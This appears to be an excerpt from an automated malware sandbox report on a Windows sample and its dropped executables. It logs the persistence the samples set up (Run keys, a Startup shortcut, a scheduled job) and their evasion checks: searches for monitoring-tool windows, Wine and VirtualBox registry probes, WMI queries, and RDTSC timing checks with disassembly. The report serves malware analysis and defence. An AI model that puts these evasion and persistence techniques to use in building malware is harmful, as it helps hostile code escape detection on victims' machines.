Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XC.lnk Jump to behavior
Creates job files (autostart)
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File created: C:\Windows\Tasks\skotes.job Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XC.lnk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44f3ff7773.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 44f3ff7773.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0322d7d8d5.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0322d7d8d5.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de31db656f.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run de31db656f.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XC Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XC Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\XC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002933001\de31db656f.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002934001\num.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Desktop\file.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe System information queried: FirmwareTableInformation Jump to behavior
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83EE39 second address: 83EE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 83EE3E second address: 83EE44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C96A8 second address: 9C96AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9A9E second address: 9C9AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9AA5 second address: 9C9B05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Fh 0x00000007 pushad 0x00000008 jmp 00007F6511772C8Dh 0x0000000d jmp 00007F6511772C98h 0x00000012 jmp 00007F6511772C8Dh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F6511772C8Fh 0x00000022 push esi 0x00000023 pop esi 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push edx 0x00000028 pop edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9B05 second address: 9C9B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F651112DA01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9D8D second address: 9C9D92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9F3E second address: 9C9F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9F44 second address: 9C9F66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F6511772C86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6511772C8Eh 0x00000013 jl 00007F6511772C86h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9C9F66 second address: 9C9F6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC1BD second address: 9CC1E1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F6511772C96h 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC1E1 second address: 9CC1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F651112D9F6h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC1F7 second address: 9CC1FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC394 second address: 9CC3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 add dword ptr [esp], 1875CE9Dh 0x0000000d mov dword ptr [ebp+122D2BE1h], esi 0x00000013 lea ebx, dword ptr [ebp+124610EEh] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F651112D9F8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov esi, edi 0x00000035 mov ch, al 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a push ebx 0x0000003b pushad 0x0000003c popad 0x0000003d pop ebx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC48C second address: 9CC4B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F6511772C97h 0x00000013 jmp 00007F6511772C91h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC4B8 second address: 9CC4E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jl 00007F651112DA08h 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F651112D9F6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC4E2 second address: 9CC4E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC4E6 second address: 9CC4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC4F4 second address: 9CC504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 9CC504 second address: 9CC517 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
